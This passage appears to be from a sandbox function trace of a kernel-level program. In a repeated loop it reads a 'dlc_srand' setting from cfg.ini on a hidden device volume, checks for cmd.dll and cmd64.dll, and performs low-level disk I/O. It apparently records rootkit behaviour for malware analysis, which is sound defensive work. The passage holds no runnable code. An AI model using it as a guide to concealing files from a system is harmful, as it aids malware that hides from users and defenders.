IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.336] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.336] KeEnterCriticalRegion () [0129.336] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.336] ExFreePoolWithTag (P=0xfffffa8003c03a60, Tag=0x0) [0129.336] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.336] KeLeaveCriticalRegion () [0129.336] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.336] ReleaseMutex (hMutex=0xf0) returned 1 [0129.336] Sleep (dwMilliseconds=0x124f80) [0129.351] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.351] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.351] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.351] KeEnterCriticalRegion () [0129.351] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.351] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.351] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.351] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.351] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.351] IdePortDispatch () returned 0x103 [0129.351] KeWaitForMutexObject () returned 0x0 [0129.351] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.351] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.351] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.351] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.351] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.351] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04490 [0129.351] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.351] KeLeaveCriticalRegion () [0129.351] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.352] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.352] KeEnterCriticalRegion () [0129.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.352] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.352] KeLeaveCriticalRegion () [0129.352] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.352] KeEnterCriticalRegion () [0129.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.352] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.352] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.352] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.352] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.352] IdePortDispatch () returned 0x103 [0129.352] KeWaitForMutexObject () returned 0x0 [0129.352] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.352] KeLeaveCriticalRegion () [0129.352] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.352] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.352] KeEnterCriticalRegion () [0129.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.352] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bda000 [0129.352] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.352] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.352] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.352] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.352] IdePortDispatch () returned 0x103 [0129.353] KeWaitForMutexObject () returned 0x0 [0129.353] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.353] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.353] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.354] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.354] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.354] IdePortDispatch () returned 0x103 [0129.354] KeWaitForMutexObject () returned 0x0 [0129.354] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.354] KeLeaveCriticalRegion () [0129.354] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.354] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.354] KeEnterCriticalRegion () [0129.354] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.354] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.354] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.354] KeLeaveCriticalRegion () [0129.355] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.355] KeEnterCriticalRegion () [0129.355] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.355] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.355] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c049c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.355] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.355] KeLeaveCriticalRegion () [0129.355] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.355] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.355] KeEnterCriticalRegion () [0129.355] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.355] ExFreePoolWithTag (P=0xfffffa8003c04490, Tag=0x0) [0129.355] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.355] KeLeaveCriticalRegion () [0129.355] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.355] ReleaseMutex (hMutex=0xf0) returned 1 [0129.355] Sleep (dwMilliseconds=0x124f80) [0129.370] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.370] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.370] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.370] KeEnterCriticalRegion () [0129.370] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.370] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.370] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.370] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.370] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.370] IdePortDispatch () returned 0x103 [0129.370] KeWaitForMutexObject () returned 0x0 [0129.371] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.371] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.371] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.371] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.371] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.371] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03230 [0129.371] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.371] KeLeaveCriticalRegion () [0129.371] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.371] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.371] KeEnterCriticalRegion () [0129.371] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.371] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.371] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.371] KeLeaveCriticalRegion () [0129.371] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.371] KeEnterCriticalRegion () [0129.371] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.371] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.371] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.371] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.371] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.371] IdePortDispatch () returned 0x103 [0129.371] KeWaitForMutexObject () returned 0x0 [0129.371] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.371] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.371] KeLeaveCriticalRegion () [0129.371] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.371] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.372] KeEnterCriticalRegion () [0129.372] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.372] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bdf000 [0129.372] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.372] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.372] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.372] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.372] IdePortDispatch () returned 0x103 [0129.372] KeWaitForMutexObject () returned 0x0 [0129.372] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.372] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.372] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.372] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.372] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.372] IdePortDispatch () returned 0x103 [0129.372] KeWaitForMutexObject () returned 0x0 [0129.372] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.372] KeLeaveCriticalRegion () [0129.372] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.373] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.373] KeEnterCriticalRegion () [0129.373] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.373] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.373] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.373] KeLeaveCriticalRegion () [0129.373] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.373] KeEnterCriticalRegion () [0129.373] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.373] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.373] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.373] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.373] KeLeaveCriticalRegion () [0129.373] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.373] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.373] KeEnterCriticalRegion () [0129.373] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.373] ExFreePoolWithTag (P=0xfffffa8003c03230, Tag=0x0) [0129.373] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.373] KeLeaveCriticalRegion () [0129.373] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.373] ReleaseMutex (hMutex=0xf0) returned 1 [0129.373] Sleep (dwMilliseconds=0x124f80) [0129.390] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.390] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.390] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.390] KeEnterCriticalRegion () [0129.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.390] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.390] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.390] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.390] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.390] IdePortDispatch () returned 0x103 [0129.390] KeWaitForMutexObject () returned 0x0 [0129.390] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.390] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.390] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.390] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.390] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.390] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04490 [0129.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.390] KeLeaveCriticalRegion () [0129.390] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.390] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.390] KeEnterCriticalRegion () [0129.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.390] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.390] KeLeaveCriticalRegion () [0129.390] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.390] KeEnterCriticalRegion () [0129.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.390] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.390] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.391] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.391] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.391] IdePortDispatch () returned 0x103 [0129.391] KeWaitForMutexObject () returned 0x0 [0129.391] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.391] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.391] KeLeaveCriticalRegion () [0129.391] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.391] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.391] KeEnterCriticalRegion () [0129.391] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.391] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000be4000 [0129.391] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.391] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.391] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.391] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.391] IdePortDispatch () returned 0x103 [0129.391] KeWaitForMutexObject () returned 0x0 [0129.391] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.391] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.391] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.391] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.391] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.391] IdePortDispatch () returned 0x103 [0129.392] KeWaitForMutexObject () returned 0x0 [0129.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.392] KeLeaveCriticalRegion () [0129.392] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.392] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.392] KeEnterCriticalRegion () [0129.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.392] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.392] KeLeaveCriticalRegion () [0129.392] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.392] KeEnterCriticalRegion () [0129.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.392] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.392] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c046b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.392] KeLeaveCriticalRegion () [0129.392] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.393] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.393] KeEnterCriticalRegion () [0129.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.393] ExFreePoolWithTag (P=0xfffffa8003c04490, Tag=0x0) [0129.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.393] KeLeaveCriticalRegion () [0129.393] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.393] ReleaseMutex (hMutex=0xf0) returned 1 [0129.393] Sleep (dwMilliseconds=0x124f80) [0129.408] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.408] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.408] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.408] KeEnterCriticalRegion () [0129.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.408] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.408] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.408] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.408] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.408] IdePortDispatch () returned 0x103 [0129.408] KeWaitForMutexObject () returned 0x0 [0129.408] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.408] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.408] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.408] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.408] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.408] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03230 [0129.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.408] KeLeaveCriticalRegion () [0129.409] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.409] _snprintf (in: 